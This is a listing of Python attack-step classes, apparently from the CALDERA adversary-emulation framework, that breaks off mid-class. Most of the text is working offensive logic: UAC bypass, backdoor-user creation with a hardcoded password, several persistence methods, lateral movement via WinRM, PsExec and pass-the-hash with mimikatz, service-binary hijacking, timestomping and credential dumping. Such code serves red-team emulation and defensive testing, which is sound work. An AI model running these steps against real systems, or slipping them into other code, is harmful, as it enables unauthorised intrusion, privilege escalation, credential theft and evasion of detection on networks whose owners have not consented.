Example #1
0
class AddUser(Step):
    attack_mapping = [("T1136", "Persistence")]
    display_name = "create user"
    summary = "Create user account on compromised machines to increase network presence and persistence."

    preproperties = ['rat.username', 'rat.host.fqdn']

    preconditions = [('host', OPHost),
                     ('rat', OPRat), ('rat', OPRat({"username": "******"}))]

    @staticmethod
    def description(rat):
        return "Using net to create a new user 'test' on {}.".format(rat.host.fqdn)

    @staticmethod
    async def simulate(operation, rat):
        return True

    @staticmethod
    async def action(operation, rat):
        await operation.execute_shell_command(rat, *net.user_add("test", "hello123WORLD!"))
        return True

    @staticmethod
    async def cleanup(cleaner, host):
        try:
            await cleaner.run_on_agent(host, *net.user_delete("test"))
        except:
            pass # It's possible for the cleanup command to fail, which will cause the system to hang
Example #2
0
class AC_Bypass(Step):
    """
    Description:
        This attempts to bypass Window's Account Control mechanisms in various ways using powershell scripts.
        Specifically, it attempts to bypass UAC by performing an image hijack on the .msc file extension, and
        by abusing the lack of an embedded manifest in wscript.exe.
    Requirements:
        Requires a rat on the target machine.
    """
    attack_mapping = [('T1088', 'Privilege Escalation'), ('T1088', 'Defense Evasion')]
    display_name = "ac_bypass"
    summary = "Bypass Account Control to escalate privileges"

    preconditions = [("rat", OPRat)]
    postconditions = [("file_g", OPFile),
                      ("rat_g", OPRat({"elevated": True}))]

    preproperties = ["rat.host.fqdn"]

    significant_parameters = []

    @staticmethod
    def description():
        return "Using Account Bypass to escalate Privileges"

    @staticmethod
    async def simulate(operation, rat, file_g, rat_g):
        return True

    @staticmethod
    async def action(operation, rat, file_g, rat_g):
        await operation.drop_file(rat, "C://bypassB.ps1", config.settings.filestore_path + "/bypassTAR.hex")
        await operation.drop_file(rat, "C://totally_innocent_seal.exe", config.settings.exe_rat_path)
        ret = await operation.execute_shell_command(rat, *static.bypassB())
        if not ret:
            await operation.drop_file(rat, "C://bypassA.ps1", config.settings.filestore_path + "/bypassRAT.hex")
            await file_g({'path': "C://bypassA.ps1", 'host': rat.host, 'use_case': 'dropped'})
            await operation.execute_shell_command(rat, *static.bypassA())
        await file_g({'path': "C://bypassB.ps1", 'host': rat.host, 'use_case': 'dropped'})
        await file_g({'path': "C://totally_innocent_seal.exe", 'host': rat.host, 'use_case': 'dropped'})
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for entry in file_g:
            await cleaner.delete(entry)
Example #3
0
class LogonPersistence(Step):
    """
    Description:
        This step attempts to maintain persistence using script configured to run at startup.
    Requirements:
        Requires an elevated rat on the target machine.
    """
    attack_mapping = [('T1037', 'Persistence')]
    display_name = "logon_persistence"
    summary = "Attempts to maintain persistence using a logon script"

    preconditions = [("rat", OPRat({"elevated": True}))]
    postconditions = [("persistence_g", OPPersistence),
                      ("file_g", OPFile)]

    preproperties = ["rat.host.fqdn"]

    significant_parameters = []

    @staticmethod
    def description():
        return "Installing logon script for persistence"

    @staticmethod
    async def simulate(operation, rat, persistence_g, file_g):
        return True

    @staticmethod
    async def action(operation, rat, persistence_g, file_g):
        await operation.drop_file(rat, "C:\\logon.bat", "caldera/templates/filestore/tools/logon.hex")
        await operation.drop_file(rat, "C:\\totally_innocent_executable.exe", config.settings.exe_rat_path)
        await operation.execute_shell_command(rat, *static.logonScriptA())
        await operation.execute_shell_command(rat, *static.logonScriptB())
        file_ref = await file_g({'path': "C://logon.bat", 'host': rat.host, 'use_case': 'dropped'})
        await persistence_g({'host': rat.host, 'script_artifact': file_ref})
        await file_g({'path': "C:\\totally_innocent_executable.exe", 'host': rat.host, 'use_case': 'dropped'})
        await file_g({'path': "C:\\envn.reg", 'host': rat.host, 'use_case': 'dropped'})
        return True

    @staticmethod
    async def cleanup(cleaner, file_g, persistence_g):
        for entry in file_g:
            await cleaner.delete(entry)
        for persistence in persistence_g:
            await cleaner.static_revert(persistence, 'reg import C:\\envn.reg && del C:\\envn.reg')
Example #4
0
class ScPersist(Step):
    """
    Description:
        Creates a service on a target machine in order to establish persistence, using sc.exe.
    Requirements:
        Requires an elevated RAT, and a accessible copy of the RAT on the target machine.
    """
    attack_mapping = [('T1050', 'Persistence'),
                      ('T1050', 'Privilege Escalation'),
                      ('T1106', 'Execution')]
    display_name = "sc_persist"
    summary = "Use sc.exe to achieve persistence by creating a service on compromised hosts"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('rat_file',
                      OPFile({
                          'host': OPVar('host'),
                          'use_case': 'rat'
                      }))]

    postconditions = [("service_g", OPService({"host": OPVar("host")})),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": True
                       }))]

    significant_parameters = ['host']

    preproperties = ["rat_file.path"]

    postproperties = [
        "service_g.name", "persist_g.service_artifact", "service_g.bin_path"
    ]

    @staticmethod
    def description(rat, host):
        return "Using sc.exe to create a service on {}".format(host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, rat_file, service_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, rat_file, service_g, persist_g):
        svcname = operation.adversary_artifactlist.get_service_word()
        bin_path = '"cmd /K start {}"'.format(rat_file.path)

        await operation.execute_shell_command(rat,
                                              *sc.create(bin_path, svcname))

        service = await service_g({'name': svcname, 'bin_path': bin_path})
        await persist_g({'service_artifact': service})

        return True

    @staticmethod
    async def cleanup(cleaner, service_g):
        for service in service_g:
            await cleaner.delete(service)
Example #5
0
class WinRM(Step):
    """
    Description:
        This step attempts to move laterally between to machines utilizing WinRM. This assumes that
        WinRM is enabled on the target machine in order to function (PS: Enable-PSRemoting -Force)
    Requirements:
        Requires an elevated Rat.
    """
    attack_mapping = [('T1028', 'Lateral Movement'), ('T1028', 'Execution')]
    display_name = "WinRM"
    summary = "Attempts to use WinRM to move to a remote computer"

    preconditions = [
        ("rat", OPRat({"elevated": True})), ("dest_host", OPHost),
        ('rat_file', OPFile({
            'host': OPVar('dest_host'),
            'use_case': 'rat'
        })),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    postconditions = [("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True,
                           "executable": OPVar("rat_file.path")
                       }))]

    not_equal = [('dest_host', 'rat.host')]

    preproperties = ['domain.windows_domain']

    postproperties = []

    significant_parameters = []

    @staticmethod
    def description(dest_host, user):
        return "Executing WinRM lateral movement to {} as {}".format(
            dest_host.fqdn, user.username)

    @staticmethod
    async def simulate(operation, rat, dest_host, rat_file, cred, user, domain,
                       rat_g):
        return True

    @staticmethod
    async def action(operation, rat, dest_host, rat_file, cred, user, domain,
                     rat_g):
        await operation.execute_shell_command(
            rat,
            *winrm.lateral_movement(dest_host.fqdn, cred.password,
                                    domain.windows_domain, user.username,
                                    rat_file.path))
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner):
        pass
Example #6
0
class GetPrivEscSvcInfo(Step):
    """
    Description:
        This step utilises the PowerUp powershell script to identify potential service-based privilege
        escalation opportunities on a target machine.
    Requirements:
        Requires an non-elevated RAT. This step identifies unquoted service paths, modifiable service targets,
        and modifiable services for privilege escalation purposes.
    """
    attack_mapping = [('T1007', 'Discovery'), ('T1106', 'Execution')]
    display_name = "privilege_escalation(service)"
    summary = "Use PowerUp to find potential service-based privilege escalation vectors"

    preconditions = [("rat", OPRat({"elevated": False})),
                     ("host", OPHost(OPVar("rat.host")))]

    postconditions = [("service_g",
                       OPService({
                           "host": OPVar("host"),
                           "user_context": OPVar("rat.username")
                       }))]

    @staticmethod
    def description():
        return "Looking for potential privilege escalation vectors related to services"

    @staticmethod
    async def simulate(operation, rat, host, service_g):
        return True

    @staticmethod
    async def action(operation, rat, host, service_g):
        unquoted = await operation.execute_powershell(
            rat, "powerup", PSFunction("Get-ServiceUnquoted"),
            parsers.powerup.get_serviceunquoted)
        for parsed_service in unquoted:
            # insert each service into the database
            service_dict = {
                "name": parsed_service['name'],
                "bin_path": parsed_service['bin_path'],
                'service_start_name': parsed_service['service_start_name'],
                'can_restart': parsed_service['can_restart'],
                'modifiable_paths': parsed_service['modifiable_paths'],
                'vulnerability': 'unquoted',
                'revert_command': ""
            }
            await service_g(service_dict)
        fileperms = await operation.execute_powershell(
            rat, "powerup", PSFunction("Get-ModifiableServiceFile"),
            parsers.powerup.get_modifiableservicefile)
        for parsed_service in fileperms:
            service_dict = {
                'name': parsed_service['name'],
                'bin_path': parsed_service['bin_path'],
                'service_start_name': parsed_service['service_start_name'],
                'can_restart': parsed_service['can_restart'],
                'modifiable_paths': parsed_service['modifiable_paths'],
                'vulnerability': 'file',
                'revert_command': ""
            }
            await service_g(service_dict)
        mod_bin_path = await operation.execute_powershell(
            rat, "powerup", PSFunction("Get-ModifiableService"),
            parsers.powerup.get_modifiableservice)
        for parsed_service in mod_bin_path:
            service_dict = {
                'name': parsed_service['name'],
                'bin_path': parsed_service['bin_path'],
                'service_start_name': parsed_service['service_start_name'],
                'can_restart': parsed_service['can_restart'],
                'vulnerability': 'bin_path',
                'revert_command': ""
            }
            await service_g(service_dict)
        return True
Example #7
0
class PsexecMove(Step):
    """
    Description:
        This step utilizes the Windows Internals tool PsExec to spawn a RAT on a remote host, moving through
        the network via lateral movement.
    Requirements:
        Requires credentials for an administrator on the target machine (needs both administrator enumeration
        'GetAdmin', and credential data 'Credentials'), and an enumerated domain. In addition, PsExec must have
        been downloaded and integrated into Caldera in order for this step to execute correctly.
        PsExec can be acquired and integrated using the 'Load PsExec' option in Settings.
    """
    attack_mapping = [('T1035', 'Execution')]
    display_name = "psexec_move"
    summary = "Move laterally using psexec"

    preconditions = [
        ("rat", OPRat), ("dest_host", OPHost),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    not_equal = [('dest_host', 'rat.host')]

    preproperties = [
        'domain.windows_domain', 'user.username', 'cred.password',
        'dest_host.hostname'
    ]

    # file_g properties are intentionally omitted here to prevent the planner from thinking it is useful
    postconditions = [("file_g", OPFile),
                      ("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True
                       }))]

    deterministic = True

    @staticmethod
    def description(rat, dest_host, cred, user, domain):
        return "Moving laterally to {} with {} via {} using psexec".format(
            dest_host.hostname, user.username, rat.host.hostname)

    @staticmethod
    async def action(operation, rat, dest_host, cred, user, domain, file_g,
                     rat_g):
        ps_loc = "C:\\Users\\" + user.username + "\\" + operation.adversary_artifactlist.get_executable_word(
        )
        rat_loc = "C:\\Users\\" + user.username + "\\" + operation.adversary_artifactlist.get_executable_word(
        )
        # protect against potential duplicate naming
        if rat_loc == ps_loc:
            ps_loc = "C:\\Users\\" + user.username + "\\mystery.exe"
        await operation.drop_file(rat, ps_loc,
                                  config.settings.filestore_path + '/ps.hex')
        await operation.drop_file(rat, rat_loc, config.settings.exe_rat_path)
        await file_g({'path': ps_loc, 'host': rat.host, 'use_case': 'dropped'})
        await file_g({
            'path': rat_loc,
            'host': rat.host,
            'use_case': 'dropped'
        })
        await operation.execute_shell_command(
            rat,
            *psexec.copy(ps_loc,
                         rat_loc,
                         domain.windows_domain,
                         user.username,
                         cred.password,
                         dest_host.hostname,
                         elevated=True))
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for file in file_g:
            await cleaner.delete(file)
class ServiceManipulateBinPathScLocal(Step):
    """
    Description:
        This step hijacks a vulnerable service by modifying the target path associated with the binary to point
        to a copy of the RAT. Once this is completed, CALDERA runs the service, producing an elevated RAT.
    Requirements:
        Require a non-elevated RAT, and enumeration of a modifiable service path on the target machine (possible
        result of running GetPriveEscSvcInfo).
    """
    attack_mapping = [('T1058', 'Privilege Escalation'),
                      ('T1058', 'Persistence'), ('T1035', 'Execution'),
                      ('T1106', 'Execution')]
    display_name = "service_manipulation(sc binpath)"
    summary = "Abuse service permissions to spawn an elevated rat by changing a service's binPath"

    preconditions = [("host", OPHost),
                     ("rat", OPRat({
                         "elevated": False,
                         "host": OPVar("host")
                     })),
                     ("service",
                      OPService({
                          'vulnerability': 'bin_path',
                          'host': OPVar("host"),
                          'revert_command': "",
                          'can_restart': True,
                          'user_context': OPVar("rat.username")
                      }))]

    postconditions = [("rat_g",
                       OPRat({
                           "host": OPVar("host"),
                           "elevated": True,
                           "executable": OPVar("rat.executable")
                       })), ("service_g", OPService)]

    @staticmethod
    def description(rat, service, host):
        return "Attempting to change the binPath of {} on {} to our rat".format(
            service.name, host.hostname)

    @staticmethod
    async def simulate(operation, rat, service, host, rat_g, service_g):
        return True

    @staticmethod
    async def action(operation, rat, service, host, rat_g, service_g):
        try:
            # if the service is running, stop it first so we can modify the binPath
            state = await operation.execute_shell_command(
                rat, *sc.query(service.name))
            if state['state'] == "RUNNING":
                try:
                    await operation.execute_shell_command(
                        rat, *sc.stop(service.name))
                    await asyncio.sleep(
                        2)  # make sure the service has time to properly stop
                except ServiceNotStartedError:
                    pass  # this is fine in our case if it isn't already running
            # actually modify the binPath and the start_name if needed
            await operation.execute_shell_command(
                rat,
                *sc.config(name=service.name,
                           bin_path=rat.executable,
                           start_name="LocalSystem"))
            revert_command = "sc config " + service.name + " binpath= \"" + service.bin_path + "\" obj= " + service.service_start_name
            if service.can_restart is True:
                await operation.execute_shell_command(rat,
                                                      *sc.start(service.name))
            else:
                await operation.execute_shell_command(
                    rat, *cmd.shutdown(reboot=True, delay=0, force=True))
            await rat_g()
            await service_g({
                'name':
                service.name,  # update our service with what we modified
                'host': service.host,
                'vulnerability': service.vulnerability,
                'revert_command': revert_command
            })
        except AccessDeniedError:
            # something went wrong, not actually vulnerable for some reason
            await service_g({
                'name': service.name,
                'host': service.host,
                'vulnerability': service.vulnerability,
                'revert_command': 'echo \"Not Vulnerable\"'
            })
            return False
        return True

    @staticmethod
    async def cleanup(cleaner, host, service):
        # stop the service before we can modify it
        try:
            await cleaner.run_on_agent(host, *sc.stop(service['name']))
        except ServiceNotStartedError:
            pass
        except CantControlServiceError:
            log.debug("Can't stop {} on {}".format(service.name, service.host))
        # now fix the service back to what it was before
        await cleaner.run_on_agent(
            host, command.CommandLine(service['revert_command']),
            parsers.sc.config)
        return True
Example #9
0
class PassTheHashCopy(Step):
    """
    Description:
        This step uses the Pass the Hash technique to copy a file to a target machine using xcopy.
    Requirements:
        Requires administrative access, domain enumeration, and credentials for an administrator on the target
        machine (needs both administrator enumeration 'GetAdmin', and credential data 'Credentials').
    """
    attack_mapping = [('T1075', 'Lateral Movement'), ('T1105', 'Lateral Movement'), ('T1106', 'Execution')]
    display_name = "pass_the_hash_copy"
    summary = "Copy a file from a computer to another using a credential-injected command prompt"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ('user', OPUser(OPVar("cred.user"))),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('dest_host', OPHost),
                     ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})),
                     ('domain', OPDomain(OPVar("user.domain")))]
    postconditions = [("file_g", OPFile({'host': OPVar("dest_host")}))]

    preproperties = ['rat.executable', 'dest_host.hostname', 'domain.windows_domain', 'cred.hash']

    not_equal = [('host', 'dest_host')]

    deterministic = True

    @staticmethod
    def description(host, dest_host):
        return "Using pass the hash to copy an implant from {} to {}".format(host.fqdn, dest_host.fqdn)

    @staticmethod
    async def simulate(operation, rat, user, host, dest_host, cred, domain, file_g):
        return True

    @staticmethod
    async def action(operation, rat, user, host, dest_host, cred, domain, file_g):
        filepath = "\\" + operation.adversary_artifactlist.get_executable_word()
        # echo F | xcopy will automatically create missing directories
        final_command = "cmd.exe /c echo F | xcopy {0} \\\\{1}\\c${2}".format(rat.executable, dest_host.hostname, filepath)

        mimikatz_command = MimikatzCommand(privilege_debug(),
                                           sekurlsa_pth(user=user.username, domain=domain.windows_domain,
                                                        ntlm=cred.hash, run=final_command),
                                           mimi_exit())

        if host.os_version.major_version >= 10:
            # Pass compiled mimikatz.exe into Invoke-ReflectivePEInjection PowerSploit script.  This works on
            # windows 10 and patched older systems (KB3126593 / MS16-014 update installed)
            await operation.reflectively_execute_exe(rat, "mimi64-exe", mimikatz_command.command,
                                                     parsers.mimikatz.sekurlsa_pth)
        else:
            # Use Invoke-Mimikatz (trouble getting this working on Windows 10 as of 8/2017).
            await operation.execute_powershell(rat, "powerkatz",
                                               PSFunction('Invoke-Mimikatz',
                                                          PSArg("Command", mimikatz_command.command.command_line)),
                                               parsers.mimikatz.sekurlsa_pth)

        await file_g({'src_host': dest_host, 'src_path': rat.executable, 'path': "C:" + filepath, 'use_case': 'rat'})

        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for file in file_g:
            await cleaner.delete(file)
Example #10
0
class ServiceManipulateFileScLocal(Step):
    """
    Description:
        This step hijacks a unprotected service on the target machine by swapping out the target binary with
        a copy of the RAT.
    Requirements:
        Requires a non-elevated RAT, and enumeration of a modifiable service binary on the target machine (possible
        result of running GetPrivEscSvcInfo).
    """
    attack_mapping = [('T1044', 'Privilege Escalation'),
                      ('T1044', 'Persistence'), ('T1035', 'Execution'),
                      ('T1106', 'Execution')]
    display_name = "service_manipulation(sc file replace)"
    summary = "Abuse service file permissions to spawn an elevated rat by swapping out a service's binary"

    preconditions = [("host", OPHost),
                     ("rat", OPRat({
                         "elevated": False,
                         "host": OPVar("host")
                     })),
                     ("service",
                      OPService({
                          'vulnerability': 'file',
                          'host': OPVar("host"),
                          'revert_command': "",
                          'can_restart': True,
                          'user_context': OPVar("rat.username")
                      }))]
    postconditions = [("rat_g", OPRat({
        "host": OPVar("host"),
        "elevated": True
    })), ("service_g", OPService),
                      ("file_g",
                       OPFile({
                           "host": OPVar("host"),
                           "src_host": OPVar("host")
                       }))]

    @staticmethod
    def description(rat, service, host):
        return "Attempting to swap binary of {} with our rat on {}".format(
            service.name, host.hostname)

    @staticmethod
    async def simulate(operation, rat, service, host, rat_g, service_g,
                       file_g):
        return True

    @staticmethod
    async def action(operation, rat, service, host, rat_g, service_g, file_g):
        try:
            # if the service is running, stop it first so we can modify the binary
            state = await operation.execute_shell_command(
                rat, *sc.query(service.name))
            if state['state'] == "RUNNING":
                try:
                    await operation.execute_shell_command(
                        rat, *sc.stop(service.name))
                    await asyncio.sleep(
                        2)  # make sure the service has time to properly stop
                except ServiceNotStartedError:
                    pass  # this is fine in our case if it isn't already running
            # We need to move the real binary to a different name ( vuln.exe to vuln.exe.bak )
            await operation.execute_shell_command(
                rat,
                *cmd.move(service.modifiable_paths[0],
                          service.modifiable_paths[0] + ".bak",
                          suppress_overwrite=True))
            # save off that we moved the file to a new name
            await file_g({
                'path': service.modifiable_paths[0] + ".bak",
                'src_path': service.modifiable_paths[0],
                'use_case': "modified"
            })
            # Then we need to place a copy of our rat as the vulnerable name
            await operation.execute_shell_command(
                rat, *cmd.copy(rat.executable, service.modifiable_paths[0]))
            # save off that we put a new file (our rat) on disk
            await file_g({
                'path': service.modifiable_paths[0],
                'src_path': rat.executable,
                'use_case': 'rat'
            })
            # Lastly, we need a way to restart the service to get our binary to be executed
            if service.can_restart:
                await operation.execute_shell_command(rat,
                                                      *sc.start(service.name))
            else:
                await operation.execute_shell_command(
                    rat, *cmd.shutdown(reboot=True, delay=0, force=True))
            await rat_g()

        except (AccessDeniedError, NoFileError, FileInUseError
                ):  # all possible bad errors should be caught here
            # something went wrong and we can't actually swap out the binary due to acls or can't stop the service
            await service_g({
                'name': service.name,
                'host': service.host,
                'vulnerability': service.vulnerability,
                'revert_command': "echo \"Not Vulnerable\""
            })
            return False
        return True

    @staticmethod
    async def cleanup(cleaner, host, service, file_g):
        # stop the service so we can remove the files
        try:
            await cleaner.run_on_agent(host, *sc.stop(service['name']))
        except ServiceNotStartedError:
            pass
        except CantControlServiceError:
            log.debug("Can't stop {} on {}, so can't delete {}".format(
                service.name, service.host, file_g[0].path))
        for file in file_g:
            if file['use_case'] == 'rat':
                await cleaner.delete(file)  # delete the rat file
        for file in file_g:
            if file['use_case'] == 'modified':
                # fix the original binary that we modified by creating the command we want to execute
                # await cleaner.run_on_agent(host, *cmd.move(file['path'], file['src_path'], True))
                # TODO: Fix the way the planner handles src_path and src_host fields in files!!
                # The following is just a temporary hack to fix
                await cleaner.run_on_agent(
                    host, *cmd.move(file['path'], file['path'][:-4], True))
Example #11
0
class Timestomp(Step):
    """
    Description:
        This step adjusts the logged timestamps for a target file to match those of a similar file. The cleanup
        process restores the original timestamps for the file.
    Requirements:
        Requires administrative access on the target machine.
    """
    attack_mapping = [('T1099', 'Defense Evasion'), ('T1106', 'Execution')]
    display_name = "timestomp"
    summary = "Reduce suspicion of a copied file by altering its timestamp to look legitimate"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('file', OPFile({'host': OPVar('host')}))]

    postconditions = [("file_g", OPFile)]

    postproperties = [
        "file_g.new_creation_time", "file_g.new_last_access",
        "file_g.new_last_write", "file_g.old_creation_time",
        "file_g.old_last_access", "file_g.last_write", "file_g.timestomped"
    ]

    # Prevents the rat's timestamps from being altered (attempting to timestamp the rat produces an error)
    # Comment this next line out for testing
    not_equal = [('file.path', 'rat.executable')]

    @staticmethod
    def description(file, host):
        return "Modifying the timestamp of {} on {}".format(
            file.path, host.fqdn)

    @staticmethod
    async def simulate(operation, rat, host, file, file_g):
        return True

    @staticmethod
    async def action(operation, rat, host, file, file_g):
        results = await operation.execute_powershell(
            rat, "timestomper",
            PSFunction('Perform-Timestomp', PSArg('FileLocation', file.path),
                       PSArg('Verbose')), parsers.timestomp.timestomp)

        # Don't parse if type 0 failure
        if results == {}:
            return False
        # Unpack parser...
        if results["TimestampModified"] == "True":
            timestamp_modified = True
        else:
            timestamp_modified = False

        await file_g({
            'path': file.path,
            'host': file.host,
            'use_case': file.use_case,
            'new_creation_time': results["CreationTime"],
            'new_last_access': results["LastAccessTime"],
            'new_last_write': results["LastWriteTime"],
            'old_creation_time': results["OldCreationTime"],
            'old_last_access': results["OldAccessTime"],
            'old_last_write': results["OldWriteTime"],
            'timestomped': timestamp_modified
        })

        return True

    # Resets the timestamp of the file
    @staticmethod
    async def cleanup(cleaner, host, file_g):
        for file in file_g:
            try:
                await cleaner.revert_timestamp(host, file)
            except AttributeError:
                continue
Example #12
0
class WebServerInstall(Step):
    """    Description:
            This step prepares the installation of a PHP webserver.
           Requirements:
            This step only requires the existence of a RAT on a host in order to run.
    """
    display_name = 'webserver_install'
    summary = 'Prepares webserver installation'
    attack_mapping = [('T1094', 'Command and Control')]
    preconditions = [('rat', OPRat({'elevated': True})),
                     ('host', OPHost(OPVar('rat.host')))]
    postconditions = [('software_g',
                       OPSoftware({
                           'name': 'webserver',
                           'installed': False,
                           'downloaded': False
                       }))]
    significant_parameters = ['host']

    @staticmethod
    def description(host):
        return 'Preparing webserver install on {}'.format(host.fqdn)

    @staticmethod
    async def action(operation, rat, host, software_g):
        name = 'webserver'
        download_url = 'http://www.usbwebserver.net/downloads/USBWebserver%20v8.6.zip'
        download_loc = (get_temp_folder(host, rat) +
                        '{}.zip'.format(random_string()))
        install_loc = (get_temp_folder(host, rat) +
                       '{}\\'.format(random_string()))
        install_command = {
            'process':
            'powershell.exe',
            'args':
            '/command "Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory(\'{}\', \'{}\')"'
            .format(download_loc, install_loc),
        }
        (await software_g({
            'host': host,
            'name': name,
            'installed': False,
            'install_command': install_command,
            'install_loc': install_loc,
            'downloaded': False,
            'download_url': download_url,
            'download_loc': download_loc,
        }))
        return True

    @staticmethod
    async def cleanup(cleaner, host, software_g):
        for software in software_g:
            if (not (await cleaner.run_on_agent(
                    host,
                    command.CommandLine('rmdir /s /q {}'.format(
                        software.install_loc)), (lambda x:
                                                 (x.strip() == ''))))):
                (await cleaner.console_log(
                    host, "Can't delete webserver folder on {} ({})".format(
                        host.fqdn, software.install_loc)))
Example #13
0
class HKLMRunKeyPersist(Step):
    """
    Description:
        This step creates an entry in the registry under the Local Machine hive on a given target machine in order
        to maintain persistence (HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run).
    Requirements:
        Requires an elevated RAT.
    """
    attack_mapping = [('T1060', 'Persistence'), ('T1106', 'Execution')]
    display_name = "hklm_runkey_persist"
    summary = (
        "Use reg.exe to gain persistence by inserting a run key value into the Local Machine hive (HKLM). This"
        "will cause the rat to be executed in the user context of any user that logs on to the system"
    )

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]

    postconditions = [("regkey_g", OPRegKey),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": False
                       }))]

    significant_parameters = ["host"]

    preproperties = ["rat.executable"]

    postproperties = [
        "regkey_g.key", "regkey_g.value", "regkey_g.data",
        "persist_g.regkey_artifact"
    ]

    @staticmethod
    def description(rat, host):
        return "Creating a local machine run key on {}".format(host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, regkey_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, regkey_g, persist_g):
        value = "caldera"
        data = rat.executable
        run_key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

        # Add run key
        await operation.execute_shell_command(
            rat, *reg.add(key=run_key, value=value, data=data, force=True))

        regkey = await regkey_g({
            'host': host,
            'key': run_key,
            'value': value,
            'data': data
        })
        await persist_g({'regkey_artifact': regkey})

        return True

    @staticmethod
    async def cleanup(cleaner, regkey_g):
        for regkey in regkey_g:
            await cleaner.delete(regkey)
Example #14
0
class PassTheHashSc(Step):
    """
    Description:
        This step is a modified version of Pass the Hash that starts a service by stealing elevated credentials
        and passing them into a command prompt.
    Requirements:
        This step uses the Pass the Hash technique to copy a file to a target machine using xcopy.
    """
    attack_mapping = [('T1050', 'Persistence'), ('T1075', 'Lateral Movement'),
                      ('T1021', 'Lateral Movement'), ('T1035', 'Execution'),
                      ('T1106', 'Execution')]
    display_name = "pass_the_hash_sc"
    summary = (
        "Creates a service by using mimikatz's \"Pass the Hash\" function to inject a command prompt with "
        "elevated credentials")

    preconditions = [
        ("rat", OPRat({"elevated": True})), ("dest_host", OPHost),
        ('rat_file', OPFile({
            'host': OPVar('dest_host'),
            'use_case': 'rat'
        })),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    # service_g properties are intentionally omitted here to prevent the planner from thinking it is useful
    postconditions = [("service_g", OPService),
                      ("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True,
                           "executable": OPVar("rat_file.path")
                       }))]

    preproperties = [
        'cred.hash', 'user.username', 'domain.windows_domain', 'rat_file.path',
        'rat.host.os_version.major_version'
    ]

    not_equal = [("dest_host", "rat.host")]

    deterministic = True

    @staticmethod
    def description(dest_host, user):
        return "Using pass the hash with sc.exe to create and start a service on {} as {}".format(
            dest_host.fqdn, user.username)

    @staticmethod
    async def simulate(operation, rat, dest_host, rat_file, cred, user, domain,
                       service_g, rat_g):
        return True

    @staticmethod
    async def action(operation, rat, dest_host, rat_file, cred, user, domain,
                     service_g, rat_g):
        svcname = operation.adversary_artifactlist.get_service_word()

        remote_host = None
        if dest_host != rat.host:
            remote_host = dest_host.fqdn

        bin_path = rat_file.path

        create_command = MimikatzCommand(
            privilege_debug(),
            sekurlsa_pth(
                user=user.username,
                domain=domain.windows_domain,
                ntlm=cred.hash,
                run=sc.create(bin_path, svcname,
                              remote_host=remote_host)[0].command_line),
            mimi_exit())

        start_command = MimikatzCommand(
            privilege_debug(),
            sekurlsa_pth(
                user=user.username,
                domain=domain.windows_domain,
                ntlm=cred.hash,
                run=sc.start(svcname,
                             remote_host=remote_host)[0].command_line),
            mimi_exit())

        if rat.host.os_version.major_version >= 10:
            # Pass compiled mimikatz.exe into Invoke-ReflectivePEInjection PowerSploit script.  This works on
            # windows 10 and patched older systems (KB3126593 / MS16-014 update installed)
            await operation.reflectively_execute_exe(
                rat, "mimi64-exe", create_command.command,
                parsers.mimikatz.sekurlsa_pth)

            await service_g({
                'name': svcname,
                'bin_path': rat_file.path,
                'host': dest_host
            })

            await operation.reflectively_execute_exe(
                rat, "mimi64-exe", start_command.command,
                parsers.mimikatz.sekurlsa_pth)
        else:
            # Use Invoke-Mimikatz (trouble getting this working on Windows 10 as of 8/2017).
            await operation.execute_powershell(
                rat, "powerkatz",
                PSFunction('Invoke-Mimikatz',
                           PSArg("Command", create_command.command)),
                parsers.mimikatz.sekurlsa_pth)

            await service_g({
                'name': svcname,
                'bin_path': rat_file.path,
                'host': dest_host
            })

            await operation.execute_powershell(
                rat, "powerkatz",
                PSFunction('Invoke-Mimikatz',
                           PSArg("Command", start_command.command)),
                parsers.mimikatz.sekurlsa_pth)
        await rat_g()
        return True

    @staticmethod
    async def cleanup(cleaner, service_g):
        for service in service_g:
            await cleaner.delete(service)
Example #15
0
class Credentials(Step):
    """
    Description:
        This step utilizes mimikatz to dump the credentials currently stored in memory on a target machine.
    Requirements:
        Requires administrative access to the target machine.
        *NOTE: In order for this action to be useful, the target machines must be seeded with credentials,
        and the appropriate registry keys must be set so that the credentials are held in memory.*
    """
    attack_mapping = [('T1003', 'Credential Access'),
                      ('T1064', 'Defense Evasion'), ('T1064', 'Execution'),
                      ('T1086', 'Execution'), ('T1106', 'Execution')]
    display_name = "get_creds"
    summary = "Use Mimikatz to dump credentials on a specific computer"

    value = 10
    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("domain_g", OPDomain), ("credential_g", OPCredential),
